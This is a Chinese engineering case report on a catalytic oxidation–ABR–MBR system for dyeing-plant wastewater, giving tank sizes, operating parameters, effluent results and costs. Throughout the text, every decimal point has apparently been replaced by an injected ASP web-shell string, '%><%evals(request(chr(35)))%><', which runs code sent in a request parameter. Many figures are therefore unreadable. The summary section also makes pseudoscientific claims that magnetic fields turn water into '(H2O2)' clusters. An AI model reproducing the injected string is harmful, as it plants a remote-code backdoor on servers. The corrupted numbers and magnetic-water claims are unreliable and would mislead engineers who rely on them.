催化氧化-ABR-MBR处理印染废水的工程实践
技术原理
:
1工程概况
广东省某印染厂排放的生产废水主要污染物为染料
、浆料
、助剂
、油剂、酸碱
、纤维杂质
、砂类物质
、无机盐等
,具有污染物浓度高
、成分复杂
、水质多变
、色度高
、毒性大
、难生化降解的特点
,属难处理的工业废水
,直接排放会对环境造成严重污染
。该生产废水量为1000m3/d
,设计最大处理能力为1200m3/d
。出水执行《污水综合排放标准》(GB 8978-1996)一级标准
,废水处理后回用于车间设备清洗
、绿化
、地面冲洗等
,具体废水水质及排放标准见表1
。经过分析此废水的特点和对比处理试验效果
,从处理效果和处理成本等综合考虑
,决定采用酸解沉淀-催化氧化-ABR-M BR工艺(见图1)
。
2工艺说明及主要构筑物
(1)格栅
。1座
,砖混结构
,尺寸3"%><%evals(request(chr(35)))%><2m×1m×1"%><%evals(request(chr(35)))%><5m
,采用人工清除式格栅
,栅条间距采用1cm
,一天清理2次
,以保证排水畅通
。废水先经格栅去除大块杂物后
,自流入隔油池
。
(2)调节池
。钢混结构
,尺寸8m×6m×2"%><%evals(request(chr(35)))%><5m
,1座
,HRT2"%><%evals(request(chr(35)))%><3h
。废水在调节池内一方面利用气浮作用将油脂进一步除去
,另一方面将废水充分混合
,均匀水质水量
。
(3)沉淀池
。钢混结构
,尺寸5m×5m×3m
,2座
,HRT3h
。加酸调pH到4左右,使废水中的油墨等大分了物质断链而释出
,因废水中的释出物释出后能很快沉淀下来
,因此
,反应完全后进入沉淀池进行沉淀
,沉淀池上清液进入中间池
。
(4)催化氧化池
。内设组合式催化氧化装置2台
,尺寸6m×4m×3m
,处理能力为25m3/h
,其关键装置是一个管式催化氧化单元
。管径采用φ200(根据情况可大可小)的不锈钢管或PVC管,管内壁涂有光催化功能的TiO2涂层
,这种装置单位体积表面积大
,1m3液体管内表面积达20m2
。管内沿管径轴向安装紫外灯管
,废水进入管中通过管道推流混合
,不用搅拌装置
。废水在管内流动与管内壁的TiO2涂层接触
,在其表面发生光催化氧化反应
,同时双氧水在紫外光作用下也产生各种氧化反应
,最终达到去除污染物的目的
。该设备适用范围广
,可改善废水可生化性
;操作简单
,清洗方便
,不会发生结垢和有机物粘附现象
;催化表面积大
,催化效率高
;紫外光能利用充分
,大大降低单位处理能耗
。
(5) ABR池
。2座
,钢混结构
,尺寸8m×65m×4m
,HRT10h
,池内放置大比表面积的球状悬浮生物填料
。废水经催化氧化处理去除部分有机物
,改善废水可生化性和脱色后
,经排放到pH中和池加碱调到中性
,再进入ABR池
。
(6) MBR池。2座
,钢混结构
,尺寸8m×6m×4m
, HRT8h
,流量为12 m3/h
。MBR池为板框抽吸淹没式结构
,膜组件为孔径约0"%><%evals(request(chr(35)))%><2μm的PVDF中空纤维膜
。平常通过周期性地间歇操作和通风来减少膜污染
,每6个月进行一次化学清洗
,用0"%><%evals(request(chr(35)))%><1%的NaClO和4%的NaOH将膜组件浸泡24h
。
(7)中间水池
。2座
,钢混结构
,尺寸6m×3"%><%evals(request(chr(35)))%><5m×4m
,HRT8h
。
(8)回用水池
。2座
,钢混结构
,尺寸6m×3"%><%evals(request(chr(35)))%><5m×4m
,HRT8h
。处理后的废水可回用于车间设备冲洗
、地面冲洗绿化等
。
(9)污泥处理系统
。污泥池2座
,钢混结构
,尺寸6m×4m×3m
,压滤机2台
,污泥泵4台
。沉淀污泥排放到污泥池后
,用污泥泵打入板框压滤机
,经压滤后的干渣外运到固废处理站处理
,压滤出水回废水调节池
。
3运行参数
实际运行调试结果表明
:催化氧化装置中
,pH为4左右
,30%H2O2溶液的加入量为9~11mL/L
,TiO2的投加量为0"%><%evals(request(chr(35)))%><05~0"%><%evals(request(chr(35)))%><07g/L
;ABR池中MLSS2"%><%evals(request(chr(35)))%><3~2"%><%evals(request(chr(35)))%><8g/L
,污泥回流比100%
,污泥负荷为0"%><%evals(request(chr(35)))%><11~0"%><%evals(request(chr(35)))%><13kgBOD5/( kgMLSS·d)
,SRT为20d左右
;MBR池中MLSS为800~1200mg/L
,DO为2~3 mg/L
,HRT为9h
,曝气量为2"%><%evals(request(chr(35)))%><8Nm3/h
,处理效果较为理想
。
4处理效果
该工程2007年5月竣工后
,经试运行3个月
,于9月正式投入正常运行
,从运行1年的情况来看
,系统运行稳定
、处理效果显著
,出水水质良好
,经环境监测站在不同的时期测得出水水质各项指标均己达《污水综合排放标准》(GB 8978-1996)一级排放标准
,测得的部分结果如表2所示
。
5小结
(1)印染废水中的残留染料品种多
,水质成分复杂
,采用厌氧作为首级预处理方法
,可有效降解废水中的染料等大分子污染物,特别是可有效破坏染料的显色基团
,脱色效果明显
。
(2)在废水进入催化氧化装置前
,加装有前置永磁防垢除垢器(铷
、铁
、硼)
,当水通过磁场时
,水分子在磁场的作用下
,产生扭曲
、变形
、反转
、震动
,使其分子加强从而使原来水中缔合形成的各种链状
、团状的大分了(H2O2)n
,解离成单个双分子(H2O2)2
,使水的活性增加
,改变了水的物理结构
。通过磁场对溶液中的离子产生作用
,使水中钙
、镁盐类结垢物的针状结晶改变成颗粒状结晶体
,使它们不能交织在一起成为坚硬的水垢附着在器壁或管壁上
,而成为微小的颗粒沉淀于底部
,随排污排出
,从而达到防水垢的作用
。
(3)印染废水大多呈碱性
,在进入厌氧处理之前
,要使油墨等大分子物质断链而释出
,必须先调节pH为4左右
。由于后续工艺处理单元为厌氧
,因此pH调节剂不宜采用硫酸
,以免产生硫化氢等还原物质
,造成二次污染
。
(4)实际运行情况证明
:系统运行可靠
、处理方便剩余污泥量少
、污泥性质稳定
、耐冲击负荷
、处理效果显著
,出水水质良好
。监测结果表明
:处理后废水水质均达到《污水综合排放标准》(GB 8978-1996)一级标准
。由于利用淹没式MBR
,较好地克服了膜的污染与阻塞
,使膜组件长时间保持较大的膜通量
,并且省去复杂的气水反冲洗设备和减少了曝气量
,从而降低了能耗
。经实际核算
:废水站运行时实际电耗920kW·h/d
,即耗电量不高于1kW·h/m3
;药剂(包括酸碱和氧化剂等)费约为0"%><%evals(request(chr(35)))%><5元/m3,合计实际运行费用为1~1"%><%evals(request(chr(35)))%><1元/m3
。 |